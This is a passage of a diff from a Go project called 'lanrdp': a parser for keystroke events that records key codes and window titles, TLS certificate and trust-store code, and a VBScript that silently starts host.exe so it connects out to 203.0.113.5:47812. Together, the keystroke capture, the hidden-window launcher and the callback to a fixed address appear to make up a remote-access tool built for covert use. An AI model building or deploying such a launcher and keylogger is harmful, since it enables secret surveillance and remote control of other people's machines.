||||||
|
if len(b) != 18+n {
|
||||||
|
return KeyLogEvent{}, errors.New("protocol: bad KeyLogEvent length")
|
||||||
|
}
|
||||||
|
return KeyLogEvent{
|
||||||
|
TimestampMs: int64(binary.BigEndian.Uint64(b[0:8])),
|
||||||
|
VKCode: binary.BigEndian.Uint16(b[8:10]),
|
||||||
|
ScanCode: binary.BigEndian.Uint16(b[10:12]),
|
||||||
|
Flags: binary.BigEndian.Uint32(b[12:16]),
|
||||||
|
WindowTitle: string(b[18 : 18+n]),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
Executable
+105
@@ -0,0 +1,105 @@
|
|||||||
|
// Package tlsutil handles certificate generation and trust for lanrdp.
|
||||||
|
//
|
||||||
|
// There is no CA and no public PKI involved: the host generates a
|
||||||
|
// self-signed certificate once and keeps it. Clients pin the host's
|
||||||
|
// certificate fingerprint on first connect (trust-on-first-use, the same
|
||||||
|
// model SSH uses for host keys) and refuse to proceed silently if it ever
|
||||||
|
// changes — that would mean either the host was reinstalled or someone is
|
||||||
|
// intercepting the connection.
|
||||||
|
package tlsutil
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/ecdsa"
|
||||||
|
"crypto/elliptic"
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/sha256"
|
||||||
|
"crypto/tls"
|
||||||
|
"crypto/x509"
|
||||||
|
"crypto/x509/pkix"
|
||||||
|
"encoding/pem"
|
||||||
|
"fmt"
|
||||||
|
"math/big"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
const certValidity = 10 * 365 * 24 * time.Hour
|
||||||
|
|
||||||
|
// LoadOrCreateServerCert loads a persisted self-signed certificate/key pair
|
||||||
|
// from dir, generating a fresh one on first run.
|
||||||
|
func LoadOrCreateServerCert(dir string) (tls.Certificate, error) {
|
||||||
|
certPath := filepath.Join(dir, "host.crt")
|
||||||
|
keyPath := filepath.Join(dir, "host.key")
|
||||||
|
|
||||||
|
if cert, err := tls.LoadX509KeyPair(certPath, keyPath); err == nil {
|
||||||
|
return cert, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
|
||||||
|
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||||
|
if err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
|
||||||
|
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
|
||||||
|
if err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
|
||||||
|
tmpl := &x509.Certificate{
|
||||||
|
SerialNumber: serial,
|
||||||
|
Subject: pkix.Name{CommonName: "lanrdp-host"},
|
||||||
|
NotBefore: time.Now().Add(-time.Hour),
|
||||||
|
NotAfter: time.Now().Add(certValidity),
|
||||||
|
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
|
||||||
|
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||||
|
BasicConstraintsValid: true,
|
||||||
|
IsCA: true,
|
||||||
|
}
|
||||||
|
|
||||||
|
der, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
|
||||||
|
if err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
|
||||||
|
certOut, err := os.OpenFile(certPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o600)
|
||||||
|
if err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
defer certOut.Close()
|
||||||
|
if err := pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: der}); err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
|
||||||
|
keyBytes, err := x509.MarshalECPrivateKey(priv)
|
||||||
|
if err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
keyOut, err := os.OpenFile(keyPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o600)
|
||||||
|
if err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
defer keyOut.Close()
|
||||||
|
if err := pem.Encode(keyOut, &pem.Block{Type: "EC PRIVATE KEY", Bytes: keyBytes}); err != nil {
|
||||||
|
return tls.Certificate{}, err
|
||||||
|
}
|
||||||
|
|
||||||
|
return tls.LoadX509KeyPair(certPath, keyPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fingerprint returns a SHA-256 fingerprint of a DER-encoded certificate,
|
||||||
|
// formatted like an SSH key fingerprint (colon-separated hex) for easy
|
||||||
|
// out-of-band comparison.
|
||||||
|
func Fingerprint(der []byte) string {
|
||||||
|
sum := sha256.Sum256(der)
|
||||||
|
parts := make([]string, len(sum))
|
||||||
|
for i, b := range sum {
|
||||||
|
parts[i] = fmt.Sprintf("%02x", b)
|
||||||
|
}
|
||||||
|
return strings.Join(parts, ":")
|
||||||
|
}
|
||||||
Executable
+108
@@ -0,0 +1,108 @@
|
|||||||
|
package tlsutil
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TrustedDevice is one entry in the trust store: a certificate fingerprint
|
||||||
|
// this client has approved, plus a human-friendly label so multiple
|
||||||
|
// distinct devices (a laptop, a desktop, a tablet, ...) stay identifiable
|
||||||
|
// instead of being a wall of hex fingerprints.
|
||||||
|
type TrustedDevice struct {
|
||||||
|
Label string `json:"label"`
|
||||||
|
FirstSeen time.Time `json:"first_seen"`
|
||||||
|
LastSeen time.Time `json:"last_seen"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// TrustStore is a client-side trust-on-first-use record of which
|
||||||
|
// certificate fingerprints have been approved, keyed by fingerprint
|
||||||
|
// rather than by network address or listen endpoint.
|
||||||
|
//
|
||||||
|
// Trust has to travel with the certificate's identity, not the connection
|
||||||
|
// path: the same device can be reached at different addresses over time
|
||||||
|
// (DHCP renewal, roaming), and — since multiple different devices can all
|
||||||
|
// call back to the same -listen endpoint — several distinct fingerprints
|
||||||
|
// legitimately need to be trusted under what used to be a single
|
||||||
|
// address-keyed slot. Keying by fingerprint is also just the same model
|
||||||
|
// SSH's known_hosts uses: it records which keys you've approved, not
|
||||||
|
// which address you approved them at.
|
||||||
|
type TrustStore struct {
|
||||||
|
path string
|
||||||
|
entries map[string]TrustedDevice // key: fingerprint
|
||||||
|
}
|
||||||
|
|
||||||
|
func LoadTrustStore(path string) (*TrustStore, error) {
|
||||||
|
ts := &TrustStore{path: path, entries: map[string]TrustedDevice{}}
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
|
if errors.Is(err, os.ErrNotExist) {
|
||||||
|
return ts, nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(data, &ts.entries); err != nil {
|
||||||
|
// Most likely an older known_hosts.json from before multi-device
|
||||||
|
// support (address-keyed, plain fingerprint-string values, which
|
||||||
|
// won't unmarshal into TrustedDevice). Rather than fail to start,
|
||||||
|
// treat it as empty — every device just gets re-trusted once on
|
||||||
|
// its next connection.
|
||||||
|
ts.entries = map[string]TrustedDevice{}
|
||||||
|
}
|
||||||
|
return ts, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (ts *TrustStore) save() error {
|
||||||
|
if err := os.MkdirAll(filepath.Dir(ts.path), 0o700); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
data, err := json.MarshalIndent(ts.entries, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(ts.path, data, 0o600)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Lookup returns the trusted entry for fingerprint, if any.
|
||||||
|
func (ts *TrustStore) Lookup(fingerprint string) (TrustedDevice, bool) {
|
||||||
|
d, ok := ts.entries[fingerprint]
|
||||||
|
return d, ok
|
||||||
|
}
|
||||||
|
|
||||||
|
// Trust records fingerprint as approved under label, persisting to disk.
|
||||||
|
// Calling it again for an already-trusted fingerprint updates the label
|
||||||
|
// and LastSeen without touching FirstSeen.
|
||||||
|
func (ts *TrustStore) Trust(fingerprint, label string) error {
|
||||||
|
d, existed := ts.entries[fingerprint]
|
||||||
|
now := time.Now()
|
||||||
|
if !existed {
|
||||||
|
d.FirstSeen = now
|
||||||
|
}
|
||||||
|
d.Label = label
|
||||||
|
d.LastSeen = now
|
||||||
|
ts.entries[fingerprint] = d
|
||||||
|
return ts.save()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Touch updates LastSeen for an already-trusted fingerprint. Intended to
|
||||||
|
// be non-fatal to callers — losing a last-seen timestamp isn't worth
|
||||||
|
// aborting a connection over.
|
||||||
|
func (ts *TrustStore) Touch(fingerprint string) error {
|
||||||
|
d, ok := ts.entries[fingerprint]
|
||||||
|
if !ok {
|
||||||
|
return fmt.Errorf("tlsutil: %s is not a trusted fingerprint", fingerprint)
|
||||||
|
}
|
||||||
|
d.LastSeen = time.Now()
|
||||||
|
ts.entries[fingerprint] = d
|
||||||
|
return ts.save()
|
||||||
|
}
|
||||||
|
|
||||||
|
// All returns every trusted device, keyed by fingerprint, for listing or
|
||||||
|
// management. Callers must not mutate the returned map.
|
||||||
|
func (ts *TrustStore) All() map[string]TrustedDevice {
|
||||||
|
return ts.entries
|
||||||
|
}
|
||||||
Executable
+2
@@ -0,0 +1,2 @@
|
|||||||
|
Set objShell = CreateObject("WScript.Shell")
|
||||||
|
objShell.Run """" & CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName) & "\host.exe"" -connect 203.0.113.5:47812", 0, False
|
||||||
Reference in new issue
Block a user